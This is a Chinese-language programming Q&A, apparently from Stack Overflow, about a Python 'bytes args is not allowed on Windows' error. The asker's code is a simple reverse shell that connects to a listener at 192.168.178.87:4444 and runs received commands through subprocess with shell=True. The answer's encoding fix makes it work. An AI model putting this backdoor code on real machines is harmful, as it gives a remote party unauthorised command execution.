【问题标题】:raise TypeError('bytes args is not allowed on Windows')raise TypeError('bytes args is not allowed on Windows')
【发布时间】:2020-03-04 17:29:45
【问题描述】:

我正在尝试将windows 系统命令与python3 上的远程PC 一起使用,但它似乎不起作用。 当我尝试键入“dir”以列出来自远程 pc 的命令时,它在我的 windows 终端上给了我一个异常。

raise TypeError('bytes args is not allowed on Windows') 

我知道我需要将它转换为字节,我猜?但是如何使用变量来做到这一点?

import socket
import subprocess

def execute_system_command(command):
    return subprocess.check_output(command, shell=True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.178.87", 4444))

connection.send(b"\n[+] Connection established.\n")

command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(b(command_result))

connection.close()

【问题讨论】:

  • 什么阻止你使用没有b标签?即connection.send("\n[+] Connection established.\n")

标签: python python-3.x window


【解决方案1】:

尝试编码然后解码命令:

output = "\n[+]Connection established\n"

connection.sendall(output.encode('utf-8'))

然后:

command_result = execute_system_command(command.decode('utf-8'))
connection.send(command_result)

【讨论】:

    猜你喜欢
    • 2022-12-26
    • 1970-01-01
    • 1970-01-01
    • 2017-05-10
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2022-01-12
    • 2014-07-29
    相关资源
    最近更新 更多